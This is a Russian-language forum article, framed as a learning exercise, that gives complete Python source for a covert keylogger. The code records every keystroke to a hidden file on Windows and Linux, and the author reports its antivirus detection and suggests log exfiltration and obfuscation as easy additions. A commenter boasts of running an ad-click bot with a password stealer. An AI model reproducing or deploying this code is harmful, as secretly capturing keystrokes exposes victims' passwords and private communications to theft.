Статья Кейлоггер-лайт или записываем нажатия клавиш в текстовый файл на Python

Данная заметка не претендует на оригинальность, потому как описываемый в ней кейлоггер не является чем-то уникальным. Я нахожусь в процессе обучения. И наверное, все или большее количество тех, кто так или иначе учиться программировать проходит через эти стадии. Но, я решил поделиться скажем так, своим видением данного кода.

keylogger_logo.png

Дисклеймер: статья написана в целях ознакомления и не призывает к действию!
На самом деле, специально я данную тему не искал. Кейлоггеры уже почти вышли из «моды». Да и не требуется мне такой функционал. Но, раз наткнулся, решил, что будет полезно изучить данный вопрос. Так был написан код, который располагается ниже. Для начала поделюсь тем, что такие кейлоггеры вычисляются антивирусами на раз-два. Правда на разных этапах по разному. Вот к примеру результат проверки кода на VirusTotal.

004.png

Отреагировал на то, что в коде есть признаки кейлоггера только Defender от Майкрософт. И да, когда я закинул данный код на машину с Windows 10 он был обнаружен практически на лету, еще в процессе копирования.

001.png

А вот уже скомпилированный в exe код обнаружился на VirusTotal аж шестью антивирусами. А Defender на этот раз промолчал.

003.png

Как и на тестируемой машине с десяткой.

002.png

Ну да ладно, это все лирика. Давайте ближе к коду.


Что потребуется?

Нужно установить библиотеку pynput. Это вообще многофункциональный комбайн, который позволяет управлять устройствами ввода, а также контролировать их. Но, почему то, из данного модуля чаще всего можно найти упоминание именно модуля keyboard. Ведь именно с его помощью происходит перехват нажатия клавиш на клавиатуре. Устанавливается библиотека просто:

pip install pynput

Также потребуется импортировать библиотеки ctypes, datetime, platform, и subprocess. Вот полный блок импорта:

Python:
from ctypes import WinDLL, windll
from datetime import datetime
from platform import system
from subprocess import check_output

from pynput import keyboard


Создание файла для лога

Для начала нужно, так как это кейлоггер, создать файл, в который и будет уже дописываться информация о нажатых клавишах. Причем, опять же, так как это кейлоггер, желательно сделать его скрытым. И если в Linux это делается просто сохранением данного файла с точкой, к примеру, .log.txt, то в Windows файлу уже нужно присвоить нужный атрибут. Поэтому в функции main(), в самом начале выполнения кода создаем файл, затем проверяем, какая используется операционная система. И если это Windows, присваиваем созданному файлу нужный атрибут.

Python:
with open('.log.txt', 'a', encoding='utf-8') as f:
        f.write(f'{datetime.now()}\n')
    if system() == "Windows":
        kernel32 = windll.kernel32
        filename = '.log.txt'
        attr = kernel32.GetFileAttributesW(filename)
        kernel32.SetFileAttributesW(filename, attr | 2)

А дальше запускаем Listener, который и будет прослушивать нажатия клавиш на клавиатуре и передавать их в указанную функцию для обработки. Будь то запись в файл или другой вид использования. Функция указывается в параметре on_press.

Python:
def main():
    with open('.log.txt', 'a', encoding='utf-8') as f:
        f.write(f'{datetime.now()}\n')
    if system() == "Windows":
        kernel32 = windll.kernel32
        filename = '.log.txt'
        attr = kernel32.GetFileAttributesW(filename)
        kernel32.SetFileAttributesW(filename, attr | 2)
    with keyboard.Listener(on_press=logger_save) as kl:
        kl.join()


Функция обработки нажатых клавиш

Как видите, здесь функция для обработки нажатия клавиш logger_save, а потому давайте создадим и ее.

На вход данная функция принимает считанное значение нажатой клавиши уже переведенное в читаемый вид. То есть, передается не код, а конкретная буква. Только вот передается она заключенная в одинарные кавычки. А потому пришлось их убирать. В принципе, делать это было не обязательно, но, почему-то мне показалось, что так будет просто эстетичнее ))

Для начала еще одно небольшое пояснение. Дело в том, что слушатель передает нажатия именно всех клавиш. И они передаются уже в текстовом виде. К примеру, если была нажата клавиша пробел, то передается Key.space. И так для всех клавиш. И, как оказалось, библиотека не умеет писать русские буквы. Ну или не желает. То есть, это же кейлоггер. А значит, если я переключаюсь на русскую раскладку и печатаю по русски, то и буквы должны записываться русские. Коды клавиш должны меняться. Но, не тут то было. Только английская раскладка, только хардкор. Не знаю, может я плохо искал и коды русских клавиш тоже передаются, но, тогда сам виноват. Усложнил то, что было просто. Однако, честно, не нашел.

Следовательно, нужно было написать код, который заменяет английские буквы на русские.

Python:
key_map = dict(zip(map(ord, 'QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?qwertyuiop[]asdfghjkl;\'zxcvbnm,./&'),
                               'ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,йцукенгшщзхъфывапролджэячсмитьбю.?'))

            key = str(key).replace("'", "").replace('"', '')
            key_ru = key.translate(key_map)

Но тут, как следует собственно из контекста, нужно заменять не все нажатия, а только когда включена русская раскладка клавиатуры, а значит нужно определить, какая включена в данный момент. Причем, если данный кейлоггер должен работать как в Windows, так и в Linux, значит, нужно считывать раскладку и там, и там. А делается это по разному, значит добавить еще проверку, под какой операционной системой запущен код. Таким образом получилось вот что:

Python:
        if system() == "Linux":
            key_layer = str(subprocess.check_output("xset -q|grep Group\ 2|awk {'print $4'}|sed 's/on/ru/g;s/off/en/g'",
                                                    shell=True).decode('utf-8')).strip()
        if system() == "Windows":
            user32 = WinDLL('user32', use_last_error=True)
            curr_window = user32.GetForegroundWindow()
            thread_id = user32.GetWindowThreadProcessId(curr_window, 0)
            klid = user32.GetKeyboardLayout(thread_id)
            lid = klid & (2 ** 16 - 1)
            lid_hex = hex(lid)
            if lid_hex == "0x419":
                key_layer = "ru"
            else:
                key_layer = "en"
        if key_layer == "ru":
            key_map = dict(zip(map(ord, 'QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?qwertyuiop[]asdfghjkl;\'zxcvbnm,./&'),
                               'ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,йцукенгшщзхъфывапролджэячсмитьбю.?'))

            key = str(key).replace("'", "").replace('"', '')
            key_ru = key.translate(key_map)

И вроде бы теперь уже все. Но, не тут то было. Как уже было сказано выше, слушатель передает также и названия специальных клавиш вроде пробела, табуляции и прочих. А они передаются в английской раскладке. Следовательно, когда у нас русская раскладка буквы там тоже заменяются на русские и получается тарабарщина. Тогда я сделал еще одну проверку, в которой определяется есть ли код в списке нажатых спецклавиш или нет. Если есть, записывается так, как есть. Если нет, тогда заменяются английские буквы на русские.

Python:
def logger_save(key):
    if str(key) in ['Key.f1', 'Key.f2', 'Key.f3', 'Key.f4', 'Key.f5', 'Key.f6', 'Key.f7', 'Key.f8', 'Key.f9', 'Key.f10',
                    'Key.f11', 'Key.f12', 'Key.tab', 'Key.caps_lock', 'Key.shift', 'Key.ctrl', 'Key.alt', 'Key.cmd',
                    'Key.cmd_r', 'Key.alt_r', 'Key.ctrl_r', 'Key.shift_r', 'Key.enter', 'Key.backspace', 'Key.esc',
                    'Key.insert', 'Key.delete', 'Key.home', 'Key.end', 'Key.page_up', 'Key.page_down', 'Key.up',
                    'Key.down', 'Key.left', 'Key.right', 'Key.space', '<65032>', 'Key.alt_l']:
        key = str(key).replace("'", "").replace('"', '')
        with open('.log.txt', 'a', encoding='utf-8') as f:
            f.write(f'{key}\n')
    else:
        if system() == "Linux":
            key_layer = str(check_output("xset -q|grep Group\ 2|awk {'print $4'}|sed 's/on/ru/g;s/off/en/g'",
                                                    shell=True).decode('utf-8')).strip()
        if system() == "Windows":
            user32 = WinDLL('user32', use_last_error=True)
            curr_window = user32.GetForegroundWindow()
            thread_id = user32.GetWindowThreadProcessId(curr_window, 0)
            klid = user32.GetKeyboardLayout(thread_id)
            lid = klid & (2 ** 16 - 1)
            lid_hex = hex(lid)
            if lid_hex == "0x419":
                key_layer = "ru"
            else:
                key_layer = "en"
        if key_layer == "ru":
            key_map = dict(zip(map(ord, 'QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?qwertyuiop[]asdfghjkl;\'zxcvbnm,./&'),
                               'ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,йцукенгшщзхъфывапролджэячсмитьбю.?'))

            key = str(key).replace("'", "").replace('"', '')
            key_ru = key.translate(key_map)
            with open('.log.txt', 'a', encoding='utf-8') as f:
                f.write(f'{key_ru}\n')
        else:
            key = str(key).replace("'", "").replace('"', '')
            with open('.log.txt', 'a', encoding='utf-8') as f:
                f.write(f'{key}\n')

Ну и все, что нажалось, записывается в файл. Вот, в принципе и все. Больше ничего данный кейлоггер не умеет. Не стал добавлять здесь отправку файла лога в телеграмм или на почту. Это уже достаточно просто сделать. Да и способов получения лога может быть масса других, помимо указанных.

Конечно же, это не полноценный кейлоггер. Полноценный должен записывать еще и URL на которые переходит пользователь. Программы, которые он открывает. Это уже полноценные хуки в системе. Здесь же показан только минимальный функционал.

Забавно, но с полноценным кейлоггером в виде реальной программы я сталкивался уже очень давно. Причем программа легальна. Антивирусы относятся к ней лояльно и пишет она логи полноценно. Только, по моему, не умеет отправлять. Это я про Punto Switcher. До определенной версии он умел скрывать значок из трея и запускаться в тихом режиме.

А на этом пожалуй все. Вот лог, который записывает программа. Ничего особого. Просто буквы. Я здесь сделал запись с переносом строки. А можно было писать все в одну. Просто я подумал, что так будет немного удобочитаемее, что ли.

005.png

Кстати, вот мысль пришла, по поводу того, что можно было бы анализировать, нажата ли спецклавиша или нет. И пока она не нажата, записывать буквы в файл в строку без пробелов. А как только нажато что-то, то автоматически записывать пробел. Таким образом получались бы полноценные слова.

Python:
# pip install pynput
from ctypes import WinDLL, windll
from datetime import datetime
from platform import system
from subprocess import check_output

from pynput import keyboard


def logger_save(key):
    if str(key) in ['Key.f1', 'Key.f2', 'Key.f3', 'Key.f4', 'Key.f5', 'Key.f6', 'Key.f7', 'Key.f8', 'Key.f9', 'Key.f10',
                    'Key.f11', 'Key.f12', 'Key.tab', 'Key.caps_lock', 'Key.shift', 'Key.ctrl', 'Key.alt', 'Key.cmd',
                    'Key.cmd_r', 'Key.alt_r', 'Key.ctrl_r', 'Key.shift_r', 'Key.enter', 'Key.backspace', 'Key.esc',
                    'Key.insert', 'Key.delete', 'Key.home', 'Key.end', 'Key.page_up', 'Key.page_down', 'Key.up',
                    'Key.down', 'Key.left', 'Key.right', 'Key.space', '<65032>', 'Key.alt_l']:
        key = str(key).replace("'", "").replace('"', '')
        with open('.log.txt', 'a', encoding='utf-8') as f:
            f.write(f'{key}\n')
    else:
        if system() == "Linux":
            key_layer = str(check_output("xset -q|grep Group\ 2|awk {'print $4'}|sed 's/on/ru/g;s/off/en/g'",
                                                    shell=True).decode('utf-8')).strip()
        if system() == "Windows":
            user32 = WinDLL('user32', use_last_error=True)
            curr_window = user32.GetForegroundWindow()
            thread_id = user32.GetWindowThreadProcessId(curr_window, 0)
            klid = user32.GetKeyboardLayout(thread_id)
            lid = klid & (2 ** 16 - 1)
            lid_hex = hex(lid)
            if lid_hex == "0x419":
                key_layer = "ru"
            else:
                key_layer = "en"
        if key_layer == "ru":
            key_map = dict(zip(map(ord, 'QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?qwertyuiop[]asdfghjkl;\'zxcvbnm,./&'),
                               'ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,йцукенгшщзхъфывапролджэячсмитьбю.?'))

            key = str(key).replace("'", "").replace('"', '')
            key_ru = key.translate(key_map)
            with open('.log.txt', 'a', encoding='utf-8') as f:
                f.write(f'{key_ru}\n')
        else:
            key = str(key).replace("'", "").replace('"', '')
            with open('.log.txt', 'a', encoding='utf-8') as f:
                f.write(f'{key}\n')


def main():
    with open('.log.txt', 'a', encoding='utf-8') as f:
        f.write(f'{datetime.now()}\n')
    if system() == "Windows":
        kernel32 = windll.kernel32
        filename = '.log.txt'
        attr = kernel32.GetFileAttributesW(filename)
        kernel32.SetFileAttributesW(filename, attr | 2)
    with keyboard.Listener(on_press=logger_save) as kl:
        kl.join()


if __name__ == "__main__":
    main()

Спасибо за внимание. Надеюсь, что данная информация будет кому-нибудь полезной
 
Последнее редактирование модератором:
Писать в лог каждое нажатие с новой строки не очень читаемо. Нужную информацию придётся долго скролить)
 
не понимаю смысла писать кейлоггер на данном языке.... это что бы его "подселить" нужно "клиенту" накатывать тих python) ну, предположим тогда нужно иметь права админа, а это не у всех бывает...
ладно, запилим EXE , и в процессах будет палится и + долго не проживет... только если для балавстава) в хозяйстве пригодится

понимаю Python для selenium к примеру тихого просмотра youtube контента с кликером на рекламу)) с стиллером паролей и импортом в этот же селениум и расселить это все хозяйство по белому свету... вот ради чего я бы изучал змею


ПС у меня такое уже есть.. выше описанное)) + думаю потоки наладить и пустить все через прокси ... но это мелочь
 
Последнее редактирование:
не понимаю смысла писать кейлоггер на данном языке.... это что бы его "подселить" нужно "клиенту" накатывать тих python) ну, предположим тогда нужно иметь права админа, а это не у всех бывает...
ладно, запилим EXE , и в процессах будет палится и + долго не проживет... только если для балавстава) в хозяйстве пригодится

понимаю Python для selenium к примеру тихого просмотра youtube контента с кликером на рекламу)) с стиллером паролей и импортом в этот же селениум и расселить это все хозяйство по белому свету... вот ради чего я бы изучал змею


ПС у меня такое уже есть.. выше описанное)) + думаю потоки наладить и пустить все через прокси ... но это мелочь

Ну, я думаю, что в таком виде, да и на питоне действительно нет особого смысла. Но библиотека, что используется для логирования, в общем-то предназначена несколько для другого )) А это так, по сути, побочный эффект. Но, думаю, что полезно будет знать, что такое возможно сделать. В теории, можно было бы обфусцировать код. Но, думаю, что на обфусцированный код антивирусники с эвристикой реагируют сразу же. :) Ну и в плане изучения, если отвергать весь код только ради его целесообразности, то можно ничему не научиться кроме как 2+2 складывать в IDE-шке )))


А такие штуки, с ног думаю собьют за здрасьте. Там же ветки достаточно жесткие. Плюс скорость движения. Так что, автор кубика зря иронизирует. Так то не опасно, но неприятно точно :LOL:
 
Последнее редактирование:
  • Нравится
Реакции: Ondrik8
Ну хз, зачем кейлогер нужен, его и обычно не используют(не видел).
И что с этой инфой будешь делать? Ну ладно узнаешь, какая польза то? Просто интересно)) А так автор постарался, лучший.
 
  • Нравится
Реакции: Johan Van
Ну хз, зачем кейлогер нужен, его и обычно не используют(не видел).
И что с этой инфой будешь делать? Ну ладно узнаешь, какая польза то? Просто интересно)) А так автор постарался, лучший.

Спасибо за оценку. Сам по себе кейлоггер не особо нужен. Но, эта библиотека не для кейлоггера, ведь логирование и отслеживание нажатий можно использовать и в других программах. А кейлоггер - это так, побочный эффект. То есть, по большому счету, есть у вас программа, которая что-то делает. А надо отследить то, что набирает пользователь, чтобы сделать какое-то действие. И тут простой способ использовать этот модуль. )
 
  • Нравится
Реакции: sainless
Спасибо за оценку. Сам по себе кейлоггер не особо нужен. Но, эта библиотека не для кейлоггера, ведь логирование и отслеживание нажатий можно использовать и в других программах. А кейлоггер - это так, побочный эффект. То есть, по большому счету, есть у вас программа, которая что-то делает. А надо отследить то, что набирает пользователь, чтобы сделать какое-то действие. И тут простой способ использовать этот модуль. )
Ну да, он хорош в плане отслеживание, он дает инфу что набирает пользователь и т.п. А лучше сделай статью про удаленный рабочий стол, вот это лучше чем кейлоггер, было бы не плохо)))
 
Ну да, он хорош в плане отслеживание, он дает инфу что набирает пользователь и т.п. А лучше сделай статью про удаленный рабочий стол, вот это лучше чем кейлоггер, было бы не плохо)))

Возможно позже. Сейчас просто нет времени ))
 
  • Нравится
Реакции: sainless
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD